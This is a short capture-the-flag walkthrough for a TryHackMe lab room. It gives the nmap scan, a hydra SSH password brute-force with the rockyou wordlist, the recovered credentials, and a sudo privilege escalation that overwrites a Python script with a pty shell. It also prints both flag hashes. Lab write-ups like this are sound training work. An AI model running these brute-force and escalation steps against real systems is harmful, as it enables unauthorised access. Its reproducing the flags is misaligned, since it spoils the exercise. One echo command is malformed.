Room Link : https://tryhackme.com/r/room/bsidesgtlibrary
STEP1
nmap -p- -Pn -A -T4 -sSV 10.10.176.65
FINDING
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
STEP2
http://10.10.176.65/robots.txt
FINDING
User-agent: rockyou
Disallow: /
STEP3
http://10.10.176.65/
FINDING
Posted on June 29th 2009 by meliodas - 3 comments
STEP4
we might got the ssh user meliodas and password migh be in rockyou.txt
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.176.65 ssh
FINDING
[22][ssh] host: 10.10.176.65 login: meliodas password: iloveyou1
ssh user : meliodas
pwd : iloveyou1
STEP5
ssh [email protected] -p 22
with password iloveyou1
FINDING
ls -la
cat user.txt
6d488cbb3f111d135722c33cb635f4ec
STEP6
sudo -l
FINDING
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
STEP7
rm /home/meliodas/bak.py
yes
echo import pty; pty.spawn("/bin/sh") /home/meliodas/bak.py
sudo /usr/bin/python /home/meliodas/bak.py
whoami
root
cd /root
cat root.txt
e8c8c6c256c35515d1d344ee0488c617
|